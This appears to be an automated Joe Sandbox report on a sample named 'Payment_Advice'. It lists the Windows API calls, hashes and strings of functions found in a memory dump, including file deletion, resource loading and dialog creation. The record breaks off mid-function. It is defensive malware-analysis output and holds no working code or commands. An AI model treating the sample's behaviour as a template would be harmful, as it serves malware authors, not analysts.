Opcode ID: f5a6c778e841c6d07bfb9fe52f6eec5ee0cdac25f63fed6a51d379ff9b816c7d
Instruction ID: 65d915e6f26a615e9ac746504162976542945709e128f4b3ee049ec15683c9c4
Opcode Fuzzy Hash: f5a6c778e841c6d07bfb9fe52f6eec5ee0cdac25f63fed6a51d379ff9b816c7d
Instruction Fuzzy Hash: ECF05E72501A11EAC7212B69FC04E8BBF75AF90728F168A3AF154250F8C7369861DA5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401CF6 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0040DC00: TlsGetValue.KERNEL32(0000000E), ref: 0040DC17

RemoveDirectoryW.KERNEL32(00000000,-0000012C,00402464,00000000,00000001,00000000,00000000,00000000,00000002,00000000,00000000,00416020,00000001,00000000,00000000,00000064), ref: 00401D37
RemoveDirectoryW.KERNEL32(00000000,-0000012C,00402464,00000000,00000001,00000000,00000000,00000000,00000002,00000000,00000000,00416020,00000001,00000000,00000000,00000064), ref: 00401D42

Part of subcall function 004053C1: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,00401D12,00000000,-0000012C,00402464,00000000,00000001,00000000,00000000,00000000,00000002,00000000,00000000,00416020), ref: 004053D1

Part of subcall function 00405430: TerminateThread.KERNEL32(00000000,00000000,00000000,?,?,-0000012C,00401D21,00000000,-0000012C,00402464,00000000,00000001,00000000,00000000,00000000,00000002), ref: 00405440
Part of subcall function 00405430: RtlEnterCriticalSection.NTDLL(00417680), ref: 0040544C
Part of subcall function 00405430: RtlLeaveCriticalSection.NTDLL(00417680), ref: 00405480

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: CriticalDirectoryRemoveSection$EnterLeaveObjectSingleTerminateThreadValueWait
String ID:
API String ID: 1205394408-0
Opcode ID: 7a6970a5fb77041d4d3168e70d3ade7ebc212a0fa7f0e6ccd02eabe01376b698
Instruction ID: 20476b7fd3d52acee56ca048645dcf6dc253443faaa17c48622ea349d9d71071
Opcode Fuzzy Hash: 7a6970a5fb77041d4d3168e70d3ade7ebc212a0fa7f0e6ccd02eabe01376b698
Instruction Fuzzy Hash: D6E0BF71458600EAEA157B62DC82D5F7E7AFB18308741983BF450711F3CA3E9C21AA1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040DA70 Relevance: 3.0, APIs: 2, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040DA7C
TlsAlloc.KERNEL32 ref: 0040DA87

Part of subcall function 0040E2A0: RtlAllocateHeap.NTDLL(03410000,00000000,0000000C), ref: 0040E2AE
Part of subcall function 0040E2A0: RtlAllocateHeap.NTDLL(03410000,00000000,00000010), ref: 0040E2C2
Part of subcall function 0040E2A0: TlsSetValue.KERNEL32(0000000E,00000010,?,?,0040DA97), ref: 0040E2EB

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Heap$Allocate$AllocCreateValue
String ID:
API String ID: 3361498153-0
Opcode ID: 7c5f9b79d9067cb19e5e9a1cf002baf2bccb3daaf441299b5804332e4ca4ad76
Instruction ID: 47f8b4ae80b8b65a038ebe855d6d80ffa77b4cff93089610e291c5bc18f8e931
Opcode Fuzzy Hash: 7c5f9b79d9067cb19e5e9a1cf002baf2bccb3daaf441299b5804332e4ca4ad76
Instruction Fuzzy Hash: 5CD012745843047BD6012BB2BC0AB843A68B704B55F518835F609962D1E7B4A040C51C

Uniqueness

Uniqueness Score: -1.00%

Function 0040A396 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(00000002,00000080,0040A3CF,?,00000000,004036AE,?,00000000,-0000012C,?,00401D26,00000000,-0000012C,00402464,00000000,00000001), ref: 0040A3AD
DeleteFileW.KERNELBASE(00000000,0040A3CF,?,00000000,004036AE,?,00000000,-0000012C,?,00401D26,00000000,-0000012C,00402464,00000000,00000001,00000000), ref: 0040A3B7

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: 67e6dd9c38358ecc76eafa571f25df48be6776d23c5a607de9f76dedf8e6a781
Instruction ID: bcd68c7d22bf6d3f36b1afe50485083cae1cfc3cb4a765cc3c7ec01f17b42dec
Opcode Fuzzy Hash: 67e6dd9c38358ecc76eafa571f25df48be6776d23c5a607de9f76dedf8e6a781
Instruction Fuzzy Hash: FFD09230018340BAD3565B24ED0DB5ABEA3AB80705F05C939B9C9600F5D779C8A8EB0A

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAA0 Relevance: 3.0, APIs: 2, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNELBASE(03410000), ref: 0040DAA9
TlsFree.KERNELBASE(0000000E), ref: 0040DAB6

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: DestroyFreeHeap
String ID:
API String ID: 3293292866-0
Opcode ID: cc241ee26c244a955ba26ad4d1f9c25b69c0a2df9c06b5d01daa53644d964705
Instruction ID: 6c0bbdb6fa8a3cec8af98e69a1a7bc2ab5198441e8c350e30bac6ed0258a684f
Opcode Fuzzy Hash: cc241ee26c244a955ba26ad4d1f9c25b69c0a2df9c06b5d01daa53644d964705
Instruction Fuzzy Hash: 64C04C75514304BFC6059BE4FC4C8D6377DE7486217428524F60A83261CB75F840CB6C

Uniqueness

Uniqueness Score: -1.00%

Function 0040A680 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,?,?,00000000,00000000,00000000,?,0040A648,00000000,00000000,?,?,00403573,00000000,00000000,00000800), ref: 0040A6A7

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 812c28a0d7019738ae1f35b3c6f3aca29df1f38680868a56c6d4d116d25541c7
Instruction ID: 314d761c27508dc191a0533bce5f5104cc0eddfe4e0508807eefa5cec89b5f55
Opcode Fuzzy Hash: 812c28a0d7019738ae1f35b3c6f3aca29df1f38680868a56c6d4d116d25541c7
Instruction Fuzzy Hash: B9F0F276104700AFD320CF58D808B87B7E8EB48721F00C82EE59AC2650C730E850DB55

Uniqueness

Uniqueness Score: -1.00%

Function 00402ED5 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(00000000,?,00000000,00000000), ref: 00402EF1

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 08c5476610742d3c05b9e882893e6cd53964fab8079b2f0af00292dd38d2d350
Instruction ID: f5a000ac0987a650bc88b837f8e1ad7b931e53341246efd34f3b0dd6567822eb
Opcode Fuzzy Hash: 08c5476610742d3c05b9e882893e6cd53964fab8079b2f0af00292dd38d2d350
Instruction Fuzzy Hash: 82D05B7044814946D710B765D549B9B72ECD700308F61883AE085965C1F7FCE9D9D69B

Uniqueness

Uniqueness Score: -1.00%

Function 00409500 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNELBASE(?,?,00403FE8,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00409519

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: 604e552c4db0811e5c6c40224e5819894b0040e2f83595904d0f3e1494608cdb
Instruction ID: 34cfba1796fdef111eafdef90552a1cc5bd8fe564668c8a79781645b6a94ecdb
Opcode Fuzzy Hash: 604e552c4db0811e5c6c40224e5819894b0040e2f83595904d0f3e1494608cdb
Instruction Fuzzy Hash: 14C01231204201BBDB129A0ADE08B6BBBE5EB90748F01C43AB584D22B0C338CC90DB19

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF04 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

TlsFree.KERNELBASE(004011D8,004011AA,00000000,00000000,00000004,00000000,00416068,00000008,0000000C,000186A1,00000007,00416078,00417070,00000004,00000000,00416068), ref: 0040CF21

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Free
String ID:
API String ID: 3978063606-0
Opcode ID: 9153b61830bc5c081ca362633ad4d17c8b4dba155c9bf8f8010ffa6db1f29739
Instruction ID: cac381de26ac1ecbfe847cb5ae7795da5337e2a804d444a4ad9a96b74f4f3404
Opcode Fuzzy Hash: 9153b61830bc5c081ca362633ad4d17c8b4dba155c9bf8f8010ffa6db1f29739
Instruction Fuzzy Hash: 33C04830518102EEEF26DB15EE4C3E13A73F388346F8982769005A05F0D7788888EE4D

Uniqueness

Uniqueness Score: -1.00%

Function 00409780 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,0040106C,00000000,00001000,00000000,00000000), ref: 00409789

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: f3c23c9f1a02c0f35bf23a5f455ff8e12fd2e77267bb951d7bda2937db455f53
Instruction ID: e40eb100870ecceaf34f32dd35deae3931ea825063bd47bde8918add0e90f93b
Opcode Fuzzy Hash: f3c23c9f1a02c0f35bf23a5f455ff8e12fd2e77267bb951d7bda2937db455f53
Instruction Fuzzy Hash: B1B012702843016AE6100F105C06F8035207704F97F104020F205581D4C7E01000C50C

Uniqueness

Uniqueness Score: -1.00%

Function 00409770 Relevance: 1.5, APIs: 1, Instructions: 3memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNELBASE(004011DD,004011AA,00000000,00000000,00000004,00000000,00416068,00000008,0000000C,000186A1,00000007,00416078,00417070,00000004,00000000,00416068), ref: 00409776

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: DestroyHeap
String ID:
API String ID: 2435110975-0
Opcode ID: 9912d0844dff50f247fcf39c854289e29bb08a897189269cadb9df9e7f64dcc5
Instruction ID: d198b2742550b498a5902efb394778fe90b783f14d2b41317c8e928b278f78a2
Opcode Fuzzy Hash: 9912d0844dff50f247fcf39c854289e29bb08a897189269cadb9df9e7f64dcc5
Instruction Fuzzy Hash: 86900230414402EFDE015F14ED189843B31F7403217028070900681030C6214450DA5C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00408AF4 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?), ref: 00408B2D
GetWindowLongW.USER32(?,000000EB), ref: 00408B3C
GetWindowTextLengthW.USER32 ref: 00408B4A
RtlAllocateHeap.NTDLL(00000000), ref: 00408B5F
GetWindowTextW.USER32(00000000,00000001), ref: 00408B6F
DestroyWindow.USER32(?), ref: 00408B7D
UnregisterClassW.USER32 ref: 00408B93

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Window$DestroyText$AllocateClassHeapLengthLongUnregister
String ID:
API String ID: 3947741702-0
Opcode ID: 7eb53a768ae0692c0e473ad2af5927535a428c9096d0e824c458b7024d51298d
Instruction ID: 1db97ccb8ac999b3c200ada4aea9c9f5e5bcba64e28080c0d457fbdc64e0e11f
Opcode Fuzzy Hash: 7eb53a768ae0692c0e473ad2af5927535a428c9096d0e824c458b7024d51298d
Instruction Fuzzy Hash: 64110371104206EFCB115F64FD0C9AA3FBAFB18355B11803AF845A22B4DB3AE915DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00402762 Relevance: 4.5, APIs: 3, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 0040DC00: TlsGetValue.KERNEL32(0000000E), ref: 0040DC17

LoadResource.KERNEL32(00000000,00000000,00000000,00000000,004031F8,00000000,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,00403F71,00000000), ref: 00402773
SizeofResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,004031F8,00000000,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402783

Part of subcall function 004097E0: RtlAllocateHeap.NTDLL(00000008,00000000,00403214), ref: 004097F1

Part of subcall function 004098C0: memcpy.MSVCRT ref: 004098D0

FreeResource.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,004031F8,00000000,00000000,0000000A,00000000,00000000,00000000), ref: 004027B2

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Resource$AllocateFreeHeapLoadSizeofValuememcpy
String ID:
API String ID: 4216414443-0
Opcode ID: 510ed28e8a1359c841441ee93fd11f68d847da0fe598e510e32a073710fc5d0d
Instruction ID: fcd7274207207d3af0726e59b65efc6fb1d53367a80527e38dfdb3b78726baaa
Opcode Fuzzy Hash: 510ed28e8a1359c841441ee93fd11f68d847da0fe598e510e32a073710fc5d0d
Instruction Fuzzy Hash: 3FF07472418202EFDB02AF61DD0192FBAA2FF54704F11883EF494561B1D7768825EF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00405594 Relevance: 3.1, APIs: 2, Instructions: 128COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 004055B4

Part of subcall function 0040554D: memset.MSVCRT ref: 0040555C
Part of subcall function 0040554D: GetModuleHandleW.KERNEL32(ntdll.dll,?,?,00000000), ref: 0040556B
Part of subcall function 0040554D: GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 0040557B

GetVersionExW.KERNEL32(?), ref: 00405613

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Version$AddressHandleModuleProcmemset
String ID:
API String ID: 3445250173-0
Opcode ID: 686fcf1f1187dd98e7380dabcd6bd3296367d629354b7633eb3422f552863a35
Instruction ID: aad47ed63da79f17f7f6b7383021e7aa7f485cc90ed3282bc036ae210b84c5a1
Opcode Fuzzy Hash: 686fcf1f1187dd98e7380dabcd6bd3296367d629354b7633eb3422f552863a35
Instruction Fuzzy Hash: 3931BEB2A06E6483E23089248C44BAB6698D751760FDA0F37DD9DB72D0D23F8D458D8E

Uniqueness

Uniqueness Score: -1.00%

Function 00409570 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00409530,0040116F,00000000,00000004,00000000,00416068,00000008,0000000C,000186A1,00000007,00416078,00417070,00000004,00000000,00416068,00000008), ref: 004096AC
SetUnhandledExceptionFilter.KERNEL32(0040116F,00000000,00000004,00000000,00416068,00000008,0000000C,000186A1,00000007,00416078,00417070,00000004,00000000,00416068,00000008,00000008), ref: 004096C0

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0ba5d56fe5a4be2d67618d1ff13c8c9e558ed1dd890d1823d391dd2db3b1e058
Instruction ID: 595d54128b13282ce533104dcf03d9c77705d08e65dac7c0aa88f55107dea111
Opcode Fuzzy Hash: 0ba5d56fe5a4be2d67618d1ff13c8c9e558ed1dd890d1823d391dd2db3b1e058
Instruction Fuzzy Hash: 23E0CAB0109300EBC310CF20ED0878A7BF5BB88745F01C87AE809922A4E339C880EB1E

Uniqueness

Uniqueness Score: -1.00%

Function 00409590 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(004011C9,004011AA,00000000,00000000,00000004,00000000,00416068,00000008,0000000C,000186A1,00000007,00416078,00417070,00000004,00000000,00416068), ref: 00409596

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f5f836c7c882a8e7230c9b56100d4a77dceb875441ac34891abae756498fd265
Instruction ID: 7a0b4d9ef07032ccfcc3a2ab39acde42ed2479ecfe64f6941f5db4b971619358
Opcode Fuzzy Hash: f5f836c7c882a8e7230c9b56100d4a77dceb875441ac34891abae756498fd265
Instruction Fuzzy Hash: 90B001780183109BDB019F10FC087C43E72B788795F82C1B4980941274D7798454DA08

Uniqueness

Uniqueness Score: -1.00%

Function 00408BA9 Relevance: 65.0, APIs: 32, Strings: 5, Instructions: 270windowregistrymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00408A98: wcslen.MSVCRT ref: 00408AA4
Part of subcall function 00408A98: RtlAllocateHeap.NTDLL(00000000,00000000), ref: 00408ABA
Part of subcall function 00408A98: wcscpy.MSVCRT ref: 00408ACB

GetStockObject.GDI32(00000011), ref: 00408BF2
LoadIconW.USER32 ref: 00408C29
LoadCursorW.USER32(00000000,00007F00), ref: 00408C39
RegisterClassExW.USER32 ref: 00408C61
IsWindowEnabled.USER32(00000000), ref: 00408C88
EnableWindow.USER32(00000000), ref: 00408C99
GetSystemMetrics.USER32(00000001), ref: 00408CD1
GetSystemMetrics.USER32(00000000), ref: 00408CDE
CreateWindowExW.USER32(00000000,00000000,10C80000,-00000096,?,?,?,?,?), ref: 00408CFF
SetWindowLongW.USER32(00000000,000000EB,?), ref: 00408D13
CreateWindowExW.USER32(00000000,STATIC,?,5000000B,0000000A,0000000A,00000118,00000016,00000000,00000000,00000000), ref: 00408D41
SendMessageW.USER32(00000000,00000030,00000001), ref: 00408D59
CreateWindowExW.USER32(00000200,EDIT,00000000,00000000,0000000A,00000020,00000113,00000015,00000000,0000000A,00000000), ref: 00408D97
SendMessageW.USER32(00000000,00000030,00000001), ref: 00408DA9
SetFocus.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408DB1
SendMessageW.USER32(0000000C,00000000,00000000), ref: 00408DC6
wcslen.MSVCRT ref: 00408DC9
wcslen.MSVCRT ref: 00408DD1
SendMessageW.USER32(000000B1,00000000,00000000), ref: 00408DE3
CreateWindowExW.USER32(00000000,BUTTON,00412080,50010001,0000006E,00000043,00000050,00000019,00000000,000003E8,00000000), ref: 00408E0D
SendMessageW.USER32(00000000,00000030,00000001), ref: 00408E1F
CreateAcceleratorTableW.USER32(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408E56
SetForegroundWindow.USER32(00000000), ref: 00408E5F
BringWindowToTop.USER32(00000000), ref: 00408E66
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00408E79
TranslateAcceleratorW.USER32(00000000,00000000,?), ref: 00408E8A
TranslateMessage.USER32(?), ref: 00408E99
DispatchMessageW.USER32(?), ref: 00408EA4
DestroyAcceleratorTable.USER32(00000000), ref: 00408EB8
wcslen.MSVCRT ref: 00408EC9
wcscpy.MSVCRT ref: 00408EE1
HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EF4

Strings

STATIC, xrefs: 00408D3B
EDIT, xrefs: 00408D8D
0, xrefs: 00408C05
D A, xrefs: 00408C43
BUTTON, xrefs: 00408E06

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Window$Message$CreateSend$wcslen$Accelerator$HeapLoadMetricsSystemTableTranslatewcscpy$AllocateBringClassCursorDestroyDispatchEnableEnabledFocusForegroundFreeIconLongObjectRegisterStock
String ID: 0$BUTTON$D A$EDIT$STATIC
API String ID: 2919324462-3594934238
Opcode ID: 123ca83ab0c83fd88dba949dc691977583e8e5ff77d2d6e508d843ab284833a1
Instruction ID: f698e8e1fcfc6ad4c48242fdd787ef2ab910b86b8eb80e2831087f92eed6a5d3
Opcode Fuzzy Hash: 123ca83ab0c83fd88dba949dc691977583e8e5ff77d2d6e508d843ab284833a1
Instruction Fuzzy Hash: DC918E71648300BFE7219B60ED49F9B7EA9FB48704F01453EF644A61E1CBB99940CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00408F95 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 116libraryloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00408FB3

Part of subcall function 0040DFF0: TlsGetValue.KERNEL32(0000000E,?,?,004094F9,00000000), ref: 0040DFFA

memset.MSVCRT ref: 00408FC1
LoadLibraryW.KERNEL32(SHELL32.DLL,?,?,0000000A), ref: 00408FCE
GetProcAddress.KERNEL32(00000000,SHBrowseForFolderW), ref: 00408FF0
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDListW), ref: 00408FFC
wcsncpy.MSVCRT ref: 0040901D
wcslen.MSVCRT ref: 00409031
wcslen.MSVCRT ref: 004090C1
FreeLibrary.KERNEL32(00000000,00000000), ref: 004090E0

Strings

P, xrefs: 00409069
SHBrowseForFolderW, xrefs: 00408FEA
SHGetPathFromIDListW, xrefs: 00408FF2
SHELL32.DLL, xrefs: 00408FC9

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: AddressLibraryProcwcslen$FreeInitializeLoadValuememsetwcsncpy
String ID: P$SHBrowseForFolderW$SHELL32.DLL$SHGetPathFromIDListW
API String ID: 1239124402-4219398408
Opcode ID: 3c6efe23a093742c34db4b48b740bbbc0e43620cdf862bd3b4c0e14241e1dd01
Instruction ID: c5a4ffbffc66ec8426f93ea89e9f6f8201288988f6e88a24a2cbc14571f4a0e7
Opcode Fuzzy Hash: 3c6efe23a093742c34db4b48b740bbbc0e43620cdf862bd3b4c0e14241e1dd01
Instruction Fuzzy Hash: DA416371514301AAC720AF759D49A9FBAE8EF84704F00483FF945E3292DB78D9448BAE

Uniqueness

Uniqueness Score: -1.00%

Function 00411A02 Relevance: 19.6, APIs: 13, Instructions: 74memoryregistrythreadCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,?,0040CF88,0040CEC6,00000000,?,?,004094C5), ref: 00411A12
RtlInitializeCriticalSection.NTDLL(00417660), ref: 00411A1E
TlsGetValue.KERNEL32(?,?,0040CF88,0040CEC6,00000000,?,?,004094C5), ref: 00411A34
RtlAllocateHeap.NTDLL(00000008,00000014), ref: 00411A4E
RtlEnterCriticalSection.NTDLL(00417660), ref: 00411A5F
RtlLeaveCriticalSection.NTDLL(00417660), ref: 00411A7B
GetCurrentProcess.KERNEL32(00000010,00100000,00000000,00000000,?,0040CF88,0040CEC6,00000000,?,?,004094C5), ref: 00411A94
GetCurrentThread.KERNEL32 ref: 00411A97
GetCurrentProcess.KERNEL32(00000000,?,0040CF88,0040CEC6,00000000,?,?,004094C5), ref: 00411A9E
DuplicateHandle.KERNEL32(00000000,?,0040CF88,0040CEC6,00000000,?,?,004094C5), ref: 00411AA1
RegisterWaitForSingleObject.KERNEL32(0000000C,00000010,00411AFA,00000000,000000FF,00000008), ref: 00411AB7
TlsSetValue.KERNEL32(00000000,?,0040CF88,0040CEC6,00000000,?,?,004094C5), ref: 00411AC4
RtlAllocateHeap.NTDLL(00000000,0000000C), ref: 00411AD5

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: CriticalCurrentSection$AllocateHeapProcessValue$AllocDuplicateEnterHandleInitializeLeaveObjectRegisterSingleThreadWait
String ID:
API String ID: 2673290768-0
Opcode ID: ab633c144f53e305bafac38ae2cfbb9d27ffbee8e6733c7f67bceb8c74a85dc5
Instruction ID: 43bccb5f44728a0c183a358cb80f19a3296933c80aeccc21ff8ea1a4f9ffad6c
Opcode Fuzzy Hash: ab633c144f53e305bafac38ae2cfbb9d27ffbee8e6733c7f67bceb8c74a85dc5
Instruction Fuzzy Hash: A6210771646202AFDB109F64EC88F963FB9FB08391F16C07AF605962B5DB75D840CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0040A47A Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 91libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DEA0: TlsGetValue.KERNEL32(0000000E), ref: 0040DEAC
Part of subcall function 0040DEA0: RtlReAllocateHeap.NTDLL(03410000,00000000,00000000,?), ref: 0040DF07

LoadLibraryW.KERNEL32(Shell32.DLL,00000104,00000000,?,?,?,00000009,0040391C,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040A4A3
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 0040A4B5
wcscpy.MSVCRT ref: 0040A4DB
wcscat.MSVCRT ref: 0040A4E6
wcslen.MSVCRT ref: 0040A4EC
FreeLibrary.KERNEL32(00000000,?,?,?,00000009,0040391C,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040420D,00000000), ref: 0040A501
wcscat.MSVCRT ref: 0040A519
wcslen.MSVCRT ref: 0040A51F

Strings

SHGetKnownFolderPath, xrefs: 0040A4AF
Downloads\, xrefs: 0040A513
Shell32.DLL, xrefs: 0040A49E

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Librarywcscatwcslen$AddressAllocateFreeHeapLoadProcValuewcscpy
String ID: Downloads\$SHGetKnownFolderPath$Shell32.DLL
API String ID: 1264281023-287042676
Opcode ID: 2ed63fd5278731c2a59bb78a547ea7f4314f45ed7590921f0cbfa87005ef0111
Instruction ID: eb5fdde348852424068ecc2b7fae0cfe8f77c0b49747bf43ed6907260fe0b972
Opcode Fuzzy Hash: 2ed63fd5278731c2a59bb78a547ea7f4314f45ed7590921f0cbfa87005ef0111
Instruction Fuzzy Hash: 6B213D31244301B6C61037799C5AF6F3A58EB91BD4F10403BF505B51C2D6BCC6659ABF

Uniqueness

Uniqueness Score: -1.00%

Function 00403400 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 176COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 0040348D
PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 00403496
GetSystemDirectoryW.KERNEL32(00000000,00000800), ref: 004035B6
PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000000,00000000,00000800,00000000,00000000,00000000), ref: 004035BF

Part of subcall function 0040DB00: RtlReAllocateHeap.NTDLL(03410000,00000000,?,?), ref: 0040DB5C

PathAddBackslashW.SHLWAPI(00000000,00000000,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 004034C6

